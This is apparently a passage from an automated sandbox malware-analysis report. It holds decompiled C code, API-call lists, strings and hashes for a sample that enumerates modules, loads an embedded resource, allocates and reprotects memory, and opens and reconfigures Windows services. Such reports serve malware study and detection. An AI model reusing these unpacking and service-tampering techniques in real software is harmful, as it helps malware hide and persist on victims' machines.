							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

6, xrefs: 004020C5
{, xrefs: 0040211D
x, xrefs: 0040214A
o, xrefs: 00402159
v, xrefs: 00401E4B
., xrefs: 0040201F
{, xrefs: 0040205B
W, xrefs: 00401B23
o, xrefs: 00401B8D
v, xrefs: 0040212C
*, xrefs: 00401A1F
[, xrefs: 00401B37
o, xrefs: 00402097
!, xrefs: 0040201A
4, xrefs: 00402136
W, xrefs: 00401B14
8, xrefs: 00401BA9
{, xrefs: 00401B4B
W, xrefs: 004020E6
v, xrefs: 0040206A
!, xrefs: 004020CF
v, xrefs: 00401B5A
{, xrefs: 00401E3C
x, xrefs: 00402088
:, xrefs: 00401B28
', xrefs: 00401AF6
", xrefs: 00401B0F
W, xrefs: 00402033
D, xrefs: 00401DFB
', xrefs: 00402006
4, xrefs: 00402074
x, xrefs: 00401B78
0, xrefs: 00401BBD
[, xrefs: 00402047
!, xrefs: 00401B1E
4, xrefs: 00401B64
V, xrefs: 00402038
_._, xrefs: 00402257
*, xrefs: 004020E1
%, xrefs: 004020FA
h, xrefs: 00401A6F
x, xrefs: 00401E69
___, xrefs: 0040227D
U, xrefs: 004020F5
5, xrefs: 00402109
), xrefs: 0040202E
V, xrefs: 00401E19
E, xrefs: 00401E0F
., xrefs: 00401B0A

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 01FC092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l, xrefs: 01FC0966
GetProcAddress., xrefs: 01FC09DC, 01FC09DF, 01FC09E4
., xrefs: 01FC095F

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4f9cfe251a72ca159fbf4fc79e39fe33bf16e20f35afd1b8c11fb9f49f0634be
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 993139B690060ADFDB10CF99C980AEDBBF5FF48724F14414AE441A7711DB71EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0223A1A8 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 0223A4A0

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 11db13bf2c0f79db0f4dc11cb36cd97602b3491a5ed3eafc687fb2940b52cc56
Instruction ID: 96e6211786edf2946aa9404fa65786b810de2943da72f4ec61ed2392a24725fd
Opcode Fuzzy Hash: 11db13bf2c0f79db0f4dc11cb36cd97602b3491a5ed3eafc687fb2940b52cc56
Instruction Fuzzy Hash: B7C12AB1D2061A8FDB11CFA8C8857AEBBF1FF44314F148639E895E6298D7759881CF81

Uniqueness

Uniqueness Score: -1.00%

Function 01FC003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 01FC024D

Strings

cess, xrefs: 01FC018D
kernel32.dll, xrefs: 01FC008F, 01FC0095

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: a5c574cd58e517a40efcf4c2b804d3ba0007d693fe7eaa4450cac5bff4cadf46
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 89526979A01229DFDB64CF58C984BACBBB1BF09304F1480D9E94DAB351DB31AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 01FC0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,01FC0223,?,?), ref: 01FC0E19
SetErrorMode.KERNELBASE(00000000,?,?,01FC0223,?,?), ref: 01FC0E1E

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e45c7faabf02746cd53b9cede99ea59c82e8191441bed3878c85bfa3d8cc56a1
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 1ED01235545129B7D7003A94DC09BCD7F1CDF05B62F008011FB0DD9080CB7195414AE5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 022399E8 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 02239AC2

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 5cb790d8353a5fbab62be00a5632ab674b6db202c1e22d3d6694dd08ae66a079
Instruction ID: 47089ff2b15017263e4a59ab9ab9092ae968e3edce6958a113206a9427598792
Opcode Fuzzy Hash: 5cb790d8353a5fbab62be00a5632ab674b6db202c1e22d3d6694dd08ae66a079
Instruction Fuzzy Hash: 8C3145B1D102098FDB11CFE9C885B9EBBF1BF49704F148629E815AB244D7B99881CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02239920 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 022399A5

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 3f5132f68adfb4e6b06e93d54885ae843ef5b40dbeef03e1cfe0ffaa7fa16ae0
Instruction ID: d7acb8066e89a18dac2ea0a9895baf916ddae5430303cae338e2aaa5331aa2fe
Opcode Fuzzy Hash: 3f5132f68adfb4e6b06e93d54885ae843ef5b40dbeef03e1cfe0ffaa7fa16ae0
Instruction Fuzzy Hash: ED2135B5C002098FCB20CF99D884BDEFBF4FF89714F10851AD808AB204C7759540CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02239180 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 022391F4

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e3fcbb06ae81f5c0049bee0e3d058033293b6574906b04592b070c5e9967cd61
Instruction ID: 7a0bb23a3c1081bf7b0b9c0a75d613bed3d8d4097b633deddf94414895276b63
